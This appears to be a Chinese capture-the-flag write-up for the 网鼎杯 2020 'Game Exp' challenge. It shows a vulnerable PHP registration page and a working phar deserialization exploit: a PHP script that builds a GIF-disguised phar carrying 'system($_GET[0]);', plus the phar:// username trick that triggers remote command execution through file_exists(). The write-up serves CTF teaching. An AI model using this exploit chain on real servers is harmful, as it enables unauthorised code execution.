[网鼎杯 2020 总决赛]Game Exp
题目给出了源码,十分之多,但是关键在于注册 register.php 这个文件。
<?php
class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}
if (isset($_POST['username'])){
include_once "../sqlhelper.php";
include_once "../user.php";
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$mysql = new sqlhelper();
$password = md5($password);
$allowedExts = array("gif", "jpeg", "jpg", "png");
$temp = explode(".", $_FILES["file"]["name"]);
$extension = end($temp); // 获取文件后缀名
if ((($_FILES["file"]["type"] == "image/gif")
|| ($_FILES["file"]["type"] == "image/jpeg")
|| ($_FILES["file"]["type"] == "image/jpg")
|| ($_FILES["file"]["type"] == "image/pjpeg")
|| ($_FILES["file"]["type"] == "image/x-png")
|| ($_FILES["file"]["type"] == "image/png"))
&& ($_FILES["file"]["size"] < 204800) // 小于 200 kb
&& in_array($extension, $allowedExts))
{
$filename = $username.".".$extension;
if (file_exists($filename))
{
echo "<script>alert('文件已经存在');</script>";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
$sql = "INSERT INTO user (username, password,avatar ) VALUES ('$username','$password','$filename')";
$res = $mysql->execute_dml($sql);
if ($res){
echo "<script>alert('注册成功');window.location='index.php';</script>";
}else{
echo "<script>alert('注册失败');</script>";
}
}
}
else
{
echo "<script>alert('非法文件');</script>";
}
}
?>
可以看到register.php文件直接给出了一个AnyClass的类,但是所有文件都没有使用到这个类,而且这个类直接提供了一个eval()
函数,因此可以大胆猜测就是需要进行反序列化调用这个类。
phar反序列化
我们可以看到注册的页面提供了一个上传头像的地方,上传的头像文件限制了类型和大小,若通过大小和类型的检测之后就执行下面的代码:
$filename = $username.".".$extension;
if (file_exists($filename))
{
echo "<script>alert('文件已经存在');</script>";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
将文件名设置为$filename = $username.".".$extension
,其中$username
是可控的,然后使用file_exists()
判断文件名是已存在,没有的话就将上传文件内容放到文件名里面。
通过构造phar文件对AnyClass类进行反序列化利用:
<?php
class AnyClass{
var $output = 'echo "ok";';
}
$o = new AnyClass();
$o->output = 'system($_GET[0]);';
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
$phar->setMetadata($o); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
将生成的phar.phar修改后缀名为phar.jpg,注册用户并上传该文件
这样就成功在login目录下生成一个名字为 test.jpg 的文件,接着使用phar协议去对其进行反序列化调用,我们需要构造phar:///var/www/html/login/test.jpg
,因此在注册页面再上传随便一个jpg文件,而username为 phar:///var/www/html/login/test
,经过处理拼接之后就成功构造。